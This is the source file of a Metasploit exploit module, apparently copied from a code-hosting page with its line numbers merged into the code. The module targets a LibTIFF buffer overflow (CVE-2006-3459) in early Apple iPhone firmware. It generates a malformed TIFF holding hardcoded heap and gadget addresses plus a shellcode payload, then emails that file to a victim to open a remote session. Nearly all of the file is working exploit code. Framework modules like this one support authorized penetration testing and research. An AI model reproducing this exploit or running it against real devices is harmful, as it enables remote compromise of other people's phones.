Path: blob/master/modules/exploits/apple_ios/email/mobilemail_libtiff.rb
19592 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78#9# This module sends email messages via smtp10#11include Msf::Exploit::Remote::SMTPDeliver1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Apple iOS MobileMail LibTIFF Buffer Overflow',18'Description' => %q{19This module exploits a buffer overflow in the version of20libtiff shipped with firmware versions 1.00, 1.01, 1.02, and211.1.1 of the Apple iPhone. iPhones which have not had the BSD22tools installed will need to use a special payload.23},24'License' => MSF_LICENSE,25'Author' => ['hdm', 'kf'],26'References' => [27['CVE', '2006-3459'],28['OSVDB', '27723'],29['BID', '19283']30],31'Stance' => Msf::Exploit::Stance::Passive,32'Payload' => {33'Space' => 1800,34'BadChars' => '',35'Compat' => {36'ConnectionType' => '-bind -find'37}38},39'Arch' => ARCH_ARMLE,40'Platform' => %w[osx],41'Targets' => [42[43'MobileSafari iPhone Mac OS X (1.00, 1.01, 1.02, 1.1.1)',44{45'Platform' => 'osx',4647# Scratch space for our shellcode and stack48'Heap' => 0x00802000,4950# Deep inside _swap_m88110_thread_state_impl_t() libSystem.dylib51'Magic' => 0x300d562c52}53],54],55'DefaultTarget' => 0,56'DisclosureDate' => '2006-08-01',57'Notes' => {58'Stability' => [ CRASH_SERVICE_DOWN ],59'SideEffects' => [ IOC_IN_LOGS ],60'Reliability' => [ UNRELIABLE_SESSION ]61}62)63)64end6566def autofilter67false68end6970def exploit71exts = ['jpg', 'tiff', 'tif']7273gext = exts[rand(exts.length)]74data = Rex::Text.rand_text_alpha(1..32)75tiff = generate_tiff(target)7677msg = Rex::MIME::Message.new78msg.mime_defaults79msg.subject = datastore['SUBJECT'] || Rex::Text.rand_text_alpha(1..32)80msg.to = datastore['MAILTO']81msg.from = datastore['MAILFROM']8283msg.add_part(Rex::Text.encode_base64(data, "\r\n"), 'text/plain', 'base64', 'inline')84msg.add_part_attachment(tiff, rand_text_alpha(1..32) + '.' + gext)8586send_message(msg.to_s)8788print_status('Waiting for a payload session (backgrounding)...')89end9091def generate_tiff(targ)92#93# This is a TIFF file, we have a huge range of evasion94# capabilities, but for now, we don't use them.95# - https://strikecenter.bpointsys.com/articles/2007/10/10/october-2007-microsoft-tuesday96#9798lolz = 204899tiff = "\x49\x49\x2a\x00\x1e\x00\x00\x00\x00\x00\x00\x00"100tiff << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"101tiff << "\x00\x00\x00\x00\x00\x00\x08\x00\x00\x01\x03\x00"102tiff << "\x01\x00\x00\x00\x08\x00\x00\x00\x01\x01\x03\x00"103tiff << "\x01\x00\x00\x00\x08\x00\x00\x00\x03\x01\x03\x00"104tiff << "\x01\x00\x00\x00\xaa\x00\x00\x00\x06\x01\x03\x00"105tiff << "\x01\x00\x00\x00\xbb\x00\x00\x00\x11\x01\x04\x00"106tiff << "\x01\x00\x00\x00\x08\x00\x00\x00\x17\x01\x04\x00"107tiff << "\x01\x00\x00\x00\x15\x00\x00\x00\x1c\x01\x03\x00"108tiff << "\x01\x00\x00\x00\x01\x00\x00\x00\x50\x01\x03\x00"109tiff << [lolz].pack('V')110tiff << "\x84\x00\x00\x00\x00\x00\x00\x00"111112# Randomize the bajeezus out of our data113hehe = rand_text(lolz)114115# Were going to candy mountain!116hehe[120, 4] = [targ['Magic']].pack('V')117118# >> add r0, r4, #0x30119hehe[104, 4] = [ targ['Heap'] - 0x30 ].pack('V')120121# Candy mountain, Charlie!122# >> mov r1, sp123124# It will be an adventure!125# >> mov r2, r8126hehe[92, 4] = [ hehe.length ].pack('V')127128# Its a magic leoplurodon!129# It has spoken!130# It has shown us the way!131# >> bl _memcpy132133# Its just over this bridge, Charlie!134# This magical bridge!135# >> ldr r3, [r4, #32]136# >> ldrt r3, [pc], r3, lsr #30137# >> str r3, [r4, #32]138# >> ldr r3, [r4, #36]139# >> ldrt r3, [pc], r3, lsr #30140# >> str r3, [r4, #36]141# >> ldr r3, [r4, #40]142# >> ldrt r3, [pc], r3, lsr #30143# >> str r3, [r4, #40]144# >> ldr r3, [r4, #44]145# >> ldrt r3, [pc], r3, lsr #30146# >> str r3, [r4, #44]147148# We made it to candy mountain!149# Go inside Charlie!150# sub sp, r7, #0x14151hehe[116, 4] = [ targ['Heap'] + 44 + 0x14 ].pack('V')152153# Goodbye Charlie!154# ;; targ['Heap'] + 0x48 becomes the stack pointer155# >> ldmia sp!, {r8, r10}156157# Hey, what the...!158# >> ldmia sp!, {r4, r5, r6, r7, pc}159160# Return back to the copied heap data161hehe[192, 4] = [ targ['Heap'] + 196 ].pack('V')162163# Insert our actual shellcode at heap location + 196164hehe[196, payload.encoded.length] = payload.encoded165166tiff << hehe167end168end169170171